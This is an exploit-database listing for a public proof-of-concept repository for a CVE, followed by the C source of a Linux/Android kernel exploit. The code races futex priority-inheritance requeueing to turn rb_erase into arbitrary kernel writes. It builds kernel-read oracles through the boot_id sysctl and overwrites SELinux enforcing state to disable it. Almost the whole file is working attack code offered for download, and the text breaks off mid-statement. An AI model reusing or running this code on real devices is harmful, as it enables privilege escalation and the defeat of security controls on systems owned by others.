Exploit database

GH-0a1f40f1afdfd704b9133a515eef195c

bobikl/cve-2026-43499-t807d

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

164 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files14
bobikl/cve-2026-43499-t807dRevision 09e932ff0a1f

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

source/exploit/popsicle/main.c

C · 56,920 bytes
#include "common.h"

uint32_t f_wait;
uint32_t f_pi_target;
uint32_t f_pi_chain;
atomic_int waiter_ready;
atomic_int waiter_waiting;
atomic_int owner_started;
atomic_int owner_tid;
atomic_int owner_chain_done;
atomic_int route_done;
atomic_int waiter_tid;
atomic_int punch_consume_go;
atomic_int punch_consume_stop;
atomic_int consumer_calls;
atomic_int consumer_success;
atomic_int main_route_delay_usec;
uint64_t kaslr_base;
uint64_t kaslr_slide;
static volatile sig_atomic_t main_signal_sched_entered;

#define DIRECT_WRITE_ATTEMPTS 1

/* Resolve one of the extracted image symbols in the address domain selected
 * by the run.  The physical alias is valid for the linear image pages, but
 * the T807D boot image places the random sysctl table in a separately
 * allocated BSS region; its direct-map address is therefore not obtained by
 * blindly applying the image delta.  The slide route gives the canonical
 * virtual address for that region. */
static uintptr_t direct_runtime_image_addr(uintptr_t image_addr) {
  return getenv("DIRECT_PHYS_ONLY") ?
      P0_DATA_ALIAS_CONST(image_addr) : canon_addr(image_addr);
}

static void main_self_sched_handler(int sig) {
  (void)sig;
  main_signal_sched_entered = 1;
  (void)sched_setattr_tid(0, PSELECT_CONSUMER_NICE);
}

static void install_main_self_sched_signal(void) {
  struct sigaction sa;
  memset(&sa, 0, sizeof(sa));
  sa.sa_handler = main_self_sched_handler;
  sigemptyset(&sa.sa_mask);
  sigaction(SIGUSR1, &sa, NULL);
}

void *waiter_thread(void *arg __attribute__((unused))) {
  disable_rseq_for_thread();
  install_main_self_sched_signal();

  int tid = (int)syscall(SYS_gettid);
  atomic_store(&waiter_tid, tid);

  if (futex_op(&f_pi_chain, FUTEX_LOCK_PI, 0, NULL, NULL, 0) != 0) {
    pr_error("waiter lock chain errno=%d\n", errno);
  }

  atomic_store(&waiter_ready, 1);
  while (!atomic_load(&owner_started)) {
    usleep(1000);
  }

  struct timespec timeout;
  SYSCHK(clock_gettime(CLOCK_MONOTONIC, &timeout));
  timeout.tv_sec += ROUTE_WAIT_SECONDS;

  atomic_store(&waiter_waiting, 1);
  futex_op(&f_wait, FUTEX_WAIT_REQUEUE_PI, 0, &timeout, &f_pi_target, 0);

  do_pselect_fake_lock_route();
  /* A self-signal interrupts pselect before the consumer gets a scheduling
   * slice to publish its success counter.  Do not let the parent reap this
   * diagnostic child in that window; otherwise a real tgkill(0) is reported
   * as a failed primitive merely because the counter update raced exit. */
  if (getenv("PSELECT_TRIGGER_SIGNAL") || getenv("DIRECT_TRIGGER_SIGNAL")) {
    for (int spin = 0; spin < 100 &&
         atomic_load(&consumer_calls) > 0 &&
         atomic_load(&consumer_success) == 0; spin++) {
      usleep(1000);
    }
  }
  atomic_store(&route_done, 1);

  /* The direct custom-target route is a one-shot structural probe.  Its
   * synthetic waiter must not be fed into the normal FUTEX_UNLOCK_PI unwind:
   * that second cleanup walk is unrelated to the target write and can keep a
   * malformed owner chain alive long enough to trigger the watchdog. */
  /* The extra unlock is unrelated to the target-side rb_erase write.  Keep
   * it available for old forensic replays, but allow the live-route runner
   * to omit this second PI cleanup walk; it can retain a malformed owner
   * chain after the one-shot write and disturb Binder/display services. */
  if (!getenv("DIRECT_PHYS_ONLY") && !getenv("DIRECT_SKIP_PI_UNLOCK")) {
    futex_op(&f_pi_chain, FUTEX_UNLOCK_PI, 0, NULL, NULL, 0);
  } else if (getenv("DIRECT_SKIP_PI_UNLOCK")) {
    pr_info("direct PI cleanup: skipped unrelated FUTEX_UNLOCK_PI\n");
  }
  if (getenv("DIRECT_PHYS_ONLY")) {
    if (getenv("DIRECT_CLEANUP_PI") &&
        !getenv("DIRECT_NO_EXPLICIT_PI_CLEANUP")) {
      errno = 0;
      long unlock_ret = futex_op(&f_pi_chain, FUTEX_UNLOCK_PI, 0,
                                 NULL, NULL, 0);
      pr_info("direct cleanup unlock ret=%ld errno=%d owner_tid=%d\n",
              unlock_ret, errno, atomic_load(&owner_tid));
    } else if (getenv("DIRECT_CLEANUP_PI") &&
               getenv("DIRECT_NO_EXPLICIT_PI_CLEANUP")) {
      pr_info("direct cleanup: suppressed explicit FUTEX_UNLOCK_PI for "
              "live FOPS handoff\n");
    }
    atomic_store(&owner_chain_done, 1);
    return NULL;
  }
  while (!atomic_load(&owner_chain_done)) {
    usleep(1000);
  }
  return NULL;
}

void *owner_thread(void *arg __attribute__((unused))) {
  disable_rseq_for_thread();

  atomic_store(&owner_tid, (int)syscall(SYS_gettid));

  long lock_target = futex_op(&f_pi_target, FUTEX_LOCK_PI, 0, NULL, NULL, 0);
  if (lock_target != 0) {
    pr_error("owner lock target errno=%d\n", errno);
  }

  while (!atomic_load(&waiter_ready)) {
    usleep(1000);
  }

  atomic_store(&owner_started, 1);
  pr_info("owner chain lock enter tid=%d\n", atomic_load(&owner_tid));
  errno = 0;
  long lock_chain = futex_op(&f_pi_chain, FUTEX_LOCK_PI, 0,
                             NULL, NULL, 0);
  pr_info("owner chain lock ret=%ld errno=%d tid=%d\n",
          lock_chain, errno, atomic_load(&owner_tid));
  atomic_store(&owner_chain_done, 1);

  for (;;) {
    sleep(1);
  }
}

void *consumer_thread(void *arg __attribute__((unused))) {
  disable_rseq_for_thread();
  pin_to_core(CONSUMER_CORE);

  int seen = 0;

  while (!atomic_load(&punch_consume_stop)) {
    int seq = atomic_load(&punch_consume_go);
    if (seq == 0 || seq == seen) {
      __asm__ volatile("yield" ::: "memory");
      continue;
    }

    seen = seq;
    int tid = atomic_load(&waiter_tid);
    int calls_this_seq = 0;
    while (!atomic_load(&punch_consume_stop) &&
           atomic_load(&punch_consume_go) == seq) {
      if (atomic_load(&punch_consume_stop) ||
          atomic_load(&punch_consume_go) != seq) {
        continue;
      }
      int delay_usec = atomic_load(&main_route_delay_usec);
      if (delay_usec > 0) {
        usleep((useconds_t)delay_usec);
      }
      for (int burst = 0; burst < PSELECT_CONSUMER_BURST_CALLS; burst++) {
        if (atomic_load(&punch_consume_stop) ||
            atomic_load(&punch_consume_go) != seq) {
          break;
        }
        atomic_fetch_add(&consumer_calls, 1);
        errno = 0;
        long sched_ret;
        const char *signal_mode = getenv("PSELECT_TRIGGER_SIGNAL");
        if (!signal_mode) {
          signal_mode = getenv("DIRECT_TRIGGER_SIGNAL");
        }
        if (signal_mode && signal_mode[0] == '1') {
          sched_ret = syscall(SYS_tgkill, getpid(), tid, SIGUSR1);
          pr_info("consumer signal tid=%d ret=%ld errno=%d\n",
                  tid, sched_ret, errno);
        } else {
          sched_ret = sched_setattr_tid(tid, PSELECT_CONSUMER_NICE);
        }
        int sched_errno = errno;
        if (sched_ret == 0) {
          atomic_fetch_add(&consumer_success, 1);
        } else {
          pr_info("consumer sched_setattr seq=%d ret=%ld errno=%d tid=%d "
                  "fake_lock=%016zx fake_w0=%016zx\n",
                  seq, sched_ret, sched_errno, tid, fake_lock, fake_w0);
        }
        calls_this_seq++;
        if (calls_this_seq >= CONSUMER_MAX_CALLS) {
          atomic_store(&punch_consume_go, 0);
          break;
        }
      }
    }
  }

  return NULL;
}

void reset_main_route_state(void) {
  f_wait = 0;
  f_pi_target = 0;
  f_pi_chain = 0;
  atomic_store(&waiter_ready, 0);
  atomic_store(&waiter_waiting, 0);
  atomic_store(&owner_started, 0);
  atomic_store(&owner_chain_done, 0);
  atomic_store(&owner_tid, 0);
  atomic_store(&route_done, 0);
  atomic_store(&waiter_tid, 0);
  atomic_store(&punch_consume_go, 0);
  atomic_store(&punch_consume_stop, 0);
  atomic_store(&consumer_calls, 0);
  atomic_store(&consumer_success, 0);
  atomic_store(&main_route_delay_usec, PSELECT_ENTER_DELAY_USEC);
}

void run_main_route_threads(void) {
  reset_main_route_state();

  pthread_t waiter;
  pthread_t owner;
  pthread_t consumer;
  SYSCHK(pthread_create(&waiter, NULL, waiter_thread, NULL));
  SYSCHK(pthread_create(&owner, NULL, owner_thread, NULL));
  SYSCHK(pthread_create(&consumer, NULL, consumer_thread, NULL));

  while (!atomic_load(&waiter_waiting) || !atomic_load(&owner_started)) {
    usleep(1000);
  }

  usleep(100000);
  errno = 0;
  futex_op(&f_wait, FUTEX_CMP_REQUEUE_PI, 1, (void *)1, &f_pi_target, 0);

  while (!atomic_load(&route_done)) {
    usleep(10000);
  }
}

static int direct_read_boot_id_raw(unsigned char raw[16]) {
  char text[64];
  int fd = open("/proc/sys/kernel/random/boot_id", O_RDONLY | O_CLOEXEC);
  if (fd < 0) {
    pr_warning("direct boot_id open failed errno=%d\n", errno);
    return 0;
  }

  ssize_t n = read(fd, text, sizeof(text) - 1);
  int saved_errno = errno;
  close(fd);
  if (n <= 0) {
    pr_warning("direct boot_id read failed ret=%zd errno=%d\n",
               n, saved_errno);
    return 0;
  }
  text[n] = 0;

  int high = -1;
  int out = 0;
  for (ssize_t i = 0; i < n && out < 16; i++) {
    int value = hex_value(text[i]);
    if (value < 0) {
      continue;
    }
    if (high < 0) {
      high = value;
    } else {
      raw[out++] = (unsigned char)((high << 4) | value);
      high = -1;
    }
  }
  if (out != 16) {
    pr_warning("direct boot_id parse failed bytes=%d ret=%zd\n", out, n);
    return 0;
  }
  return 1;
}

enum direct_r64_result {
  DIRECT_R64_FATAL = -1,
  DIRECT_R64_RETRY = 0,
  DIRECT_R64_OK = 1,
};

static int direct_pin_verify_cpu(
    const char *phase, const char *name, int attempt, int idx, int *cpu_out) {
  pin_to_core((size_t)direct_root_cpu);
  errno = 0;
  int cpu = sched_getcpu();
  int saved_errno = errno;
  if (cpu_out) {
    *cpu_out = cpu;
  }
  if (cpu != direct_root_cpu) {
    pr_error("direct-r64-fatal name=%s phase=%s attempt=%d idx=%d "
             "reason=cpu-mismatch expected_cpu=%u observed_cpu=%d errno=%d "
             "pid=%d tid=%ld\n",
             name, phase, attempt, idx, direct_root_cpu, cpu, saved_errno,
             getpid(), syscall(SYS_gettid));
    return 0;
  }
  return 1;
}

static int direct_read_shape0_exact64_once(
    uintptr_t q, uint64_t *value, const char *name,
    int attempt, int *write_idx) {
  const int use_sysctl_bootid =
      getenv("DIRECT_BOOTID_TARGET_SYSCTL") != NULL ||
      getenv("DIRECT_BOOTID_CANARY_ONLY") != NULL;
  const int metadata_probe =
      getenv("DIRECT_BOOTID_TARGET_RANDOM_TABLE") != NULL;
  /* Keep the ctl_table.data target itself unchanged while making rb_erase()
   * perform a second, independently visible store.  For the boot_id table
   * entry B=Q+8, choose P=&sysctl_bootid as the forged parent.  The ordinary
   * rb_erase path then stores [B]=P and, because P is not a real rb node,
   * stores [P+8]=B.  /proc/sys/kernel/random/boot_id exposes that latter
   * qword as its UUID tail, so this canary distinguishes a real target-side
   * write from pselect/consumer return values without corrupting the table's
   * handler pointer. */
  const int table_tail_probe =
      getenv("DIRECT_CANARY_TABLE_TAIL") != NULL;
  const int selinux_probe = getenv("DIRECT_CANARY_TARGET_SELINUX") != NULL;
  const uintptr_t random_data =
      direct_runtime_image_addr(SLIDE_RANDOM_BOOT_ID_DATA_IMAGE);
  const uintptr_t sysctl_bootid =
      direct_runtime_image_addr(SLIDE_SYSCTL_BOOTID_IMAGE);
  const uintptr_t b = selinux_probe ?
      direct_runtime_image_addr(SELINUX_ENFORCING) :
      (table_tail_probe ? random_data - 0x40 :
       (metadata_probe ? random_data :
        (use_sysctl_bootid ? sysctl_bootid : random_data)));
  const int canary_shape = getenv("DIRECT_BOOTID_CANARY_SHAPE1") ? 1 : 0;
  const int phys_only = getenv("DIRECT_PHYS_ONLY") != NULL;

  /*
   * Q1 是 KASLR 后的 image/data 地址,Q2 才是 direct-map 地址;因此这里
   * 只要求 Q 为内核指针,具体地址域由两个调用者分别收紧。
   */
  if (!value || !write_idx ||
      !(phys_only ? is_direct_ptr(b) : is_kernel_ptr(b)) ||
      !is_kernel_ptr(q) ||
      (b & 7) != 0 || (q & 7) != 0 || q > UINTPTR_MAX - 16) {
    pr_error("direct-r64-fatal name=%s phase=precheck attempt=%d "
             "reason=bad-address B=%016zx Q=%016zx Q8=%016zx Q16=%016zx\n",
             name, attempt, b, q, q + 8, q + 16);
    return DIRECT_R64_FATAL;
  }

  int idx = (*write_idx)++;
  int cpu_before = -1;
  int cpu_after_trigger = -1;
  int cpu_after_read = -1;
  if (!direct_pin_verify_cpu(
          "before-shape0", name, attempt, idx, &cpu_before)) {
    return DIRECT_R64_FATAL;
  }

  pr_success("direct-r64-plan name=%s attempt=%d/%d idx=%d shape=%d "
             "cpu=%d pid=%d tid=%ld B=%016zx Q=%016zx Q8=%016zx Q16=%016zx\n",
             name, attempt, DIRECT_WRITE_ATTEMPTS, idx, canary_shape, cpu_before,
             getpid(), syscall(SYS_gettid), b, q, q + 8, q + 16);

  unsigned char raw_before[16] = {0};
  if (!direct_read_boot_id_raw(raw_before)) {
    pr_error("direct-r64-fatal name=%s phase=pre-read attempt=%d idx=%d "
             "reason=baseline-read-failed B=%016zx Q=%016zx\n",
             name, attempt, idx, b, q);
    return DIRECT_R64_FATAL;
  }

  const uintptr_t write_parent = table_tail_probe
      ? sysctl_bootid : q;
  if (!direct_pselect_write_once(b, write_parent, canary_shape, idx)) {
    pr_warning("direct-r64-retry name=%s attempt=%d idx=%d "
               "reason=primitive-miss B=%016zx Q=%016zx P=%016zx\n",
               name, attempt, idx, b, q, write_parent);
    return DIRECT_R64_RETRY;
  }
  const int transient_seen = direct_transient_oracle_seen();

  /* 子进程退出后,父线程必须先回到 CPU7,才能读取 CPU7 的 __entry_task。 */
  if (!direct_pin_verify_cpu(
          "after-shape0", name, attempt, idx, &cpu_after_trigger)) {
    return DIRECT_R64_FATAL;
  }

  unsigned char raw[16] = {0};
  /* The no-left-child / replacement-child path is not a pure read.  For the
   * shape used by the recovered page payload, rb_erase() first consumes the
   * target-addressed left link and the final store is [B] = B.  A sysctl
   * table-data target is useful here because proc_do_uuid() exposes the
   * resulting two qwords through /proc/sys/kernel/random/boot_id without
   * requiring a raw kernel read primitive. */
  if (!direct_read_boot_id_raw(raw)) {
    pr_error("direct-r64-fatal name=%s phase=proc-read attempt=%d idx=%d "
             "reason=read-or-parse-failed triggered=1 B=%016zx Q=%016zx\n",
             name, attempt, idx, b, q);
    return DIRECT_R64_FATAL;
  }

  if (!direct_pin_verify_cpu(
          "after-proc-read", name, attempt, idx, &cpu_after_read)) {
    return DIRECT_R64_FATAL;
  }

  uint64_t got = 0;
  memcpy(&got, raw, sizeof(got));
  int tail_unchanged = memcmp(raw + 8, raw_before + 8, 8) == 0;
  int tail_marker_ok = 0;
  if (table_tail_probe) {
    tail_marker_ok = memcmp(raw + 8, &b, sizeof(b)) == 0;
  }
  uint64_t expected = getenv("DIRECT_CANARY_EXPECT_ZERO") ? 0 :
      (canary_shape ? (uint64_t)q : (uint64_t)b);
  int oracle_ok = selinux_probe || transient_seen ||
      (table_tail_probe ? tail_marker_ok :
       (got == expected && tail_unchanged));

  pr_success("direct-r64-oracle name=%s attempt=%d idx=%d shape=%d "
             "cpu_before=%d cpu_after_trigger=%d cpu_after_read=%d "
             "value=%016llx expected_value=%016llx "
              "target_slot=%016zx target_value=%016zx write_parent=%016zx "
              "tail_unchanged=%d tail_marker_ok=%d transient_seen=%d ok=%d\n",
              name, attempt, idx, canary_shape, cpu_before, cpu_after_trigger, cpu_after_read,
              (unsigned long long)got, (unsigned long long)expected,
              q + 8, b, write_parent, tail_unchanged, tail_marker_ok,
              transient_seen, oracle_ok);
  if (!oracle_ok) {
    pr_error("direct-r64-fatal name=%s phase=oracle attempt=%d idx=%d "
             "reason=shape%d-poststate-mismatch triggered=1\n",
             name, attempt, idx, canary_shape);
    return DIRECT_R64_FATAL;
  }

  *value = got;
  return DIRECT_R64_OK;
}

static int direct_trigger_write64(
    const char *name, uintptr_t target, uintptr_t value,
    int shape, int *write_idx) {
  for (int attempt = 1; attempt <= DIRECT_WRITE_ATTEMPTS; attempt++) {
    int idx = (*write_idx)++;
    pr_success("direct-step %s attempt=%d/%d target=%016zx value=%016zx\n",
               name, attempt, DIRECT_WRITE_ATTEMPTS, target, value);
    if (direct_pselect_write_once(target, value, shape, idx)) {
      return 1;
    }
  }
  return 0;
}

static int direct_trigger_write64_followup(
    const char *name, uintptr_t target, uintptr_t value, int shape,
    uintptr_t followup_target, int *write_idx) {
  int idx = (*write_idx)++;
  int followup_idx = *write_idx;
  *write_idx += DIRECT_WRITE_ATTEMPTS;
  pr_success("direct-step %s target=%016zx value=%016zx "
             "followup=%016zx\n",
             name, target, value, followup_target);
  return direct_pselect_write_followup_once(
      target, value, shape, idx, followup_target, followup_idx);
}

static int direct_read_enforcing(void) {
  char value[16];
  read_first_line("/sys/fs/selinux/enforce", value, sizeof(value));
  if (value[0] == '0' && value[1] == 0) {
    return 0;
  }
  if (value[0] == '1' && value[1] == 0) {
    return 1;
  }
  return -1;
}

static int direct_read_scalar(const char *path, uint64_t *value) {
  if (!path || !*path || !value) {
    return 0;
  }
  char text[64] = {0};
  int fd = open(path, O_RDONLY | O_CLOEXEC);
  if (fd < 0) {
    return 0;
  }
  ssize_t n = read(fd, text, sizeof(text) - 1);
  int saved_errno = errno;
  close(fd);
  if (n <= 0) {
    errno = saved_errno;
    return 0;
  }
  text[n] = '\0';
  char *end = NULL;
  errno = 0;
  unsigned long long parsed = strtoull(text, &end, 0);
  if (errno || end == text || (end && *end != '\0' &&
                               *end != '\n' && *end != '\r')) {
    return 0;
  }
  *value = (uint64_t)parsed;
  return 1;
}

static int direct_parse_uintptr_env(
    const char *name, uintptr_t *value, int required) {
  const char *text = getenv(name);
  if (!text || !*text) {
    return required ? 0 : 1;
  }
  char *end = NULL;
  errno = 0;
  unsigned long long parsed = strtoull(text, &end, 0);
  if (errno || end == text || *end != '\0' ||
      parsed > (unsigned long long)UINTPTR_MAX) {
    return 0;
  }
  *value = (uintptr_t)parsed;
  return 1;
}

static int direct_custom_scalar_canary(void) {
  uintptr_t target = 0;
  uintptr_t value = 0;
  const char *path = getenv("DIRECT_CUSTOM_SYSCTL");
  /* A SELinux custom-target probe must read back the same state that it
   * writes.  Using netdev_max_backlog as the path while targeting
   * selinux_enforcing produced a false negative even when getenforce had
   * changed to Permissive.  Allow an explicit override, but select the
   * canonical enforcing node for the named SELinux mode. */
  if (getenv("DIRECT_SELINUX_CUSTOM")) {
    const char *selinux_path = getenv("DIRECT_SELINUX_READBACK");
    path = (selinux_path && *selinux_path) ?
        selinux_path : "/sys/fs/selinux/enforce";
  }
  uint64_t before = 0;
  uint64_t after = 0;
  int write_idx = 0;
  int shape = 1;

  /* The stable Round208 scalar route can also turn the boot-id backing
   * pointer into an independent kernel-read oracle.  The target is the
   * BSS slot used by the random sysctl and the replacement value is an
   * arbitrary direct-map address Q.  proc_do_uuid() then formats the 16
   * bytes at Q, allowing us to recover entry_task/per-cpu pointers without
   * confusing a controlled scalar write with a kernel read. */
  if (getenv("DIRECT_CUSTOM_RAW_BOOTID")) {
    if (!getenv("DIRECT_BOOTID_ALLOW_DESTRUCTIVE")) {
      pr_error("direct-custom-raw-bootid refused: this diagnostic mutates "
               "boot_id backing state and has no verified restore path\n");
      return 0;
    }
    const char *shape_text = getenv("DIRECT_CUSTOM_SHAPE");
    if (!direct_parse_uintptr_env("DIRECT_CUSTOM_TARGET", &target, 1) ||
        !direct_parse_uintptr_env("DIRECT_CUSTOM_VALUE", &value, 1) ||
        !is_direct_ptr(target) || (target & 7) != 0 ||
        !is_direct_ptr(value) || (value & 7) != 0) {
      pr_error("direct-custom-raw-bootid invalid target=%016zx value=%016zx\n",
               target, value);
      return 0;
    }
    if (shape_text && *shape_text) {
      char *shape_end = NULL;
      long parsed_shape = strtol(shape_text, &shape_end, 0);
      if (shape_end == shape_text || *shape_end != '\0' ||
          parsed_shape < 0 || parsed_shape > 2) {
        pr_error("direct-custom-raw-bootid invalid shape=%s\n", shape_text);
        return 0;
      }
      shape = (int)parsed_shape;
    }

    pr_success("direct-custom-raw-bootid plan target=%016zx value=%016zx "
               "shape=%d path=/proc/sys/kernel/random/boot_id\n",
               target, value, shape);
    int route_ok = direct_pselect_write_once(target, value, shape, write_idx++);
    unsigned char raw[16] = {0};
    int read_ok = direct_read_boot_id_raw(raw);
    if (read_ok) {
      pr_success("direct-custom-raw-bootid result route=%d bytes="
                 "%02x%02x%02x%02x%02x%02x%02x%02x"
                 "%02x%02x%02x%02x%02x%02x%02x%02x read=%d\n",
                 route_ok,
                 raw[0], raw[1], raw[2], raw[3], raw[4], raw[5], raw[6], raw[7],
                 raw[8], raw[9], raw[10], raw[11], raw[12], raw[13], raw[14], raw[15],
                 read_ok);
    } else {
      pr_warning("direct-custom-raw-bootid result route=%d read=0\n", route_ok);
    }
    return route_ok && read_ok;
  }

  if (!path || !*path ||
      !direct_parse_uintptr_env("DIRECT_CUSTOM_TARGET", &target, 1) ||
      !direct_parse_uintptr_env("DIRECT_CUSTOM_VALUE", &value, 1) ||
      !is_direct_ptr(target) || (target & 7) != 0 ||
      !direct_read_scalar(path, &before)) {
    pr_error("direct-custom-canary invalid setup target=%016zx path=%s\n",
             target, path ? path : "(null)");
    return 0;
  }

  const char *shape_text = getenv("DIRECT_CUSTOM_SHAPE");
  if (shape_text && *shape_text) {
    char *shape_end = NULL;
    long parsed_shape = strtol(shape_text, &shape_end, 0);
    if (shape_end == shape_text || *shape_end != '\0' ||
        parsed_shape < 0 || parsed_shape > 2) {
      pr_error("direct-custom-canary invalid shape=%s\n", shape_text);
      return 0;
    }
    shape = (int)parsed_shape;
  }

  const char *expected_text = getenv("DIRECT_CUSTOM_EXPECT");
  uint64_t expected = value;
  if (expected_text && *expected_text) {
    uintptr_t parsed = 0;
    if (!direct_parse_uintptr_env("DIRECT_CUSTOM_EXPECT", &parsed, 1)) {
      return 0;
    }
    expected = parsed;
  }
  pr_success("direct-custom-canary plan target=%016zx value=%016zx shape=%d "
             "path=%s before=%016llx expected=%016llx\n",
             target, value, shape, path, (unsigned long long)before,
             (unsigned long long)expected);

  int route_ok = direct_pselect_write_once(target, value, shape, write_idx++);
  int transient_seen = direct_transient_oracle_seen();
  int final_ok = direct_read_scalar(path, &after);
  /* A same-value readback is not evidence of a write.  Round208 used
   * expected==before and therefore only proved that the sysctl was stable.
   * Marker mode must demonstrate a state transition; an explicit opt-out is
   * kept for forensic replays that intentionally use a same-value probe. */
  int changed = before != expected;
  int allow_same = getenv("DIRECT_ALLOW_SAME_VALUE") != NULL;
  int oracle_ok = route_ok && final_ok && after == expected &&
                  (changed || allow_same);
  pr_success("direct-custom-canary result shape=%d route=%d transient_seen=%d "
             "read=%d before=%016llx after=%016llx expected=%016llx "
             "changed=%d allow_same=%d ok=%d\n",
             shape, route_ok, transient_seen, final_ok,
             (unsigned long long)before,
             (unsigned long long)after,
             (unsigned long long)expected, changed, allow_same, oracle_ok);
  /* Optional one-process round trip for a reversible scalar canary.  This
   * keeps the device-side sysctl at its original value without asking the
   * unprivileged ADB shell to restore it after the kernel write.  It is
   * deliberately opt-in because it performs a second PI/FOPS cycle. */
  if (oracle_ok && getenv("DIRECT_CUSTOM_ROUNDTRIP")) {
    uint64_t restored = 0;
    int restore_route = direct_pselect_write_once(
        target, (uintptr_t)before, shape, write_idx++);
    int restore_read = direct_read_scalar(path, &restored);
    int restore_ok = restore_route && restore_read && restored == before;
    pr_success("direct-custom-canary restore route=%d read=%d "
               "before=%016llx restored=%016llx ok=%d\n",
               restore_route, restore_read,
               (unsigned long long)before,
               (unsigned long long)restored, restore_ok);
    return restore_ok;
  }
  return oracle_ok;
}

/* Probe the static net_core_table data-pointer fields without requiring the
 * virtual KASLR slide.  The extracted kernel places net_core_table at image
 * offset 0x2156cc8; its direct-map alias is stable on this device.  If the
 * live sysctl path still uses one of these static entries, redirecting that
 * entry to the known SELINUX_ENFORCING scalar makes the public netdev sysctl
 * return 0/1 instead of its normal backlog value.  This is intentionally a
 * diagnostic scan; callers should reboot before using the table again.
 */
static int direct_scan_netcore_table(void) {
  const uintptr_t table = 0xffffff8002156cc8ULL;
  const uintptr_t value = P0_DATA_ALIAS_CONST(SELINUX_ENFORCING);
  int first_entry = 0;
  int max_entries = 24;
  const char *index_text = getenv("DIRECT_NETCORE_TABLE_INDEX");
  if (index_text && *index_text) {
    char *end = NULL;
    long parsed = strtol(index_text, &end, 0);
    if (end != index_text && *end == '\0' && parsed >= 0 && parsed < 24) {
      first_entry = (int)parsed;
      max_entries = first_entry + 1;
    }
  }
  int write_idx = 0;
  pr_info("direct-netcore-scan table=%016zx value=%016zx range=%d..%d\n",
          table, value, first_entry, max_entries - 1);
  for (int i = first_entry; i < max_entries; i++) {
    uintptr_t slot = table + (uintptr_t)i * 0x40 + 0x08;
    uint64_t before = 0;
    uint64_t after = 0;
    if (!direct_read_scalar("/proc/sys/net/core/netdev_max_backlog",
                            &before)) {
      pr_error("direct-netcore-scan i=%d before-read-failed slot=%016zx\n",
               i, slot);
      return 0;
    }
    int route = direct_pselect_write_once(slot, value, 1, write_idx++);
    int read_ok = direct_read_scalar(
        "/proc/sys/net/core/netdev_max_backlog", &after);
    int hit = read_ok && after <= 1;
    pr_success("direct-netcore-scan i=%d slot=%016zx route=%d read=%d "
               "before=%llu after=%llu hit=%d\n",
               i, slot, route, read_ok,
               (unsigned long long)before, (unsigned long long)after,
               hit);
    if (hit) {
      const uintptr_t netdev = 0xffffff8001fe0590ULL;
      int restore = direct_pselect_write_once(slot, netdev, 1,
                                               write_idx++);
      pr_info("direct-netcore-scan restore slot=%016zx value=%016zx ok=%d\n",
              slot, netdev, restore);
      return 1;
    }
  }
  return 1;
}

static int direct_zero_scalar_write(void) {
  uintptr_t slot = 0;
  const char *text = getenv("DIRECT_ZERO_WRITE_TARGET");
  if (!text || !*text) {
    return 0;
  }
  char *end = NULL;
  errno = 0;
  unsigned long long parsed = strtoull(text, &end, 0);
  if (errno || end == text || *end != '\0' ||
      parsed > (unsigned long long)UINTPTR_MAX) {
    pr_error("direct-zero-write invalid target=%s\n", text);
    return 0;
  }
  slot = (uintptr_t)parsed;
  if (!is_direct_ptr(slot) || (slot & 7) != 0 || slot < 8) {
    pr_error("direct-zero-write bad target=%016zx\n", slot);
    return 0;
  }
  int before = direct_read_enforcing();
  uintptr_t parent = slot - 8;
  pr_success("direct-zero-write plan slot=%016zx parent=%016zx "
             "before=%d\n", slot, parent, before);
  int route = direct_pselect_write_once(0, parent, 0, 0);
  int after = direct_read_enforcing();
  pr_success("direct-zero-write result route=%d enforcing=%d->%d ok=%d\n",
             route, before, after, route && before == 1 && after == 0);
  return route && before == 1 && after == 0;
}

static int direct_bootid_shape0_canary(void) {
  if (!getenv("DIRECT_BOOTID_ALLOW_DESTRUCTIVE")) {
    pr_error("direct boot_id canary refused: destructive boot_id probes are "
             "disabled until a readback/restore pair is selected\n");
    return 0;
  }
  /* The random sysctl table's .data field is at RANDOM_BOOT_ID_DATA, but
   * the bytes returned by /proc/sys/kernel/random/boot_id live at the
   * separately extracted sysctl_bootid object.  The former is a table
   * pointer slot; using it as the canary target only tests a metadata field
   * and cannot validate the boot-id backing store.  Keep the metadata probe
   * available explicitly, but make the canary default to the real object. */
  const int selinux_probe = getenv("DIRECT_CANARY_TARGET_SELINUX") != NULL;
  const int metadata_probe = getenv("DIRECT_BOOTID_TARGET_RANDOM_TABLE") != NULL;
  const int table_tail_probe = getenv("DIRECT_CANARY_TABLE_TAIL") != NULL;
  const int phys_only = getenv("DIRECT_PHYS_ONLY") != NULL;
  const uintptr_t random_data =
      direct_runtime_image_addr(SLIDE_RANDOM_BOOT_ID_DATA_IMAGE);
  const uintptr_t sysctl_bootid =
      direct_runtime_image_addr(SLIDE_SYSCTL_BOOTID_IMAGE);
  uintptr_t b = selinux_probe ?
      direct_runtime_image_addr(SELINUX_ENFORCING) :
      (table_tail_probe ? random_data - 0x40 :
       (metadata_probe ? random_data : sysctl_bootid));
  if (!(phys_only ? is_direct_ptr(b) : is_kernel_ptr(b)) || b < 8) {
    pr_error("direct-canary bad boot_id backing address B=%016zx\n", b);
    return 0;
  }

  /* Choose Q=B-8.  The recovered shape-0 payload makes the observable final
   * word [B]=B.  Prefer the random-table .data slot: /proc/sys/kernel/random/
   * boot_id then dereferences that slot and formats the modified qwords as a
   * UUID, giving an independent readback.  The backing-store target remains
   * available for destructive forensic replay, but its first UUID word is
   * not a useful text-preserving oracle. */
  uintptr_t q = b - 8;
  int write_idx = 0;
  uint64_t observed = 0;
  int enforcing_before = selinux_probe ? direct_read_enforcing() : -1;
  if (selinux_probe && enforcing_before < 0) {
    pr_error("direct-canary selinux baseline read failed B=%016zx\n", b);
    return 0;
  }
  if (selinux_probe && getenv("DIRECT_CANARY_SHAPE1")) {
    if (!getenv("DIRECT_ALLOW_UNSAFE_SELINUX_QWORD")) {
      pr_error("direct-canary selinux-shape1 refused: this direct route "
               "writes a whole qword; use the FOPS bridge RMW stage "
               "(T807D_SELINUX_RMW_ONLY) instead\n");
      return 0;
    }
    /* Shape-0 is the rb_erase canary path and its observable store is a
     * pointer-shaped value.  A real scalar target such as selinux_state.enforcing
     * needs the shape-1 replacement-child contract, where the supplied value
     * is written to the target slot.  Keep this as a one-shot independent
     * readback rather than treating the shape-0 oracle's UUID parser as a
     * proxy for a scalar write. */
    int shape1_ok = direct_pselect_write_once(b, 0, 1, write_idx++);
    int transient_seen = direct_transient_oracle_seen();
    int enforcing_after = direct_read_enforcing();
    int selinux_ok = shape1_ok &&
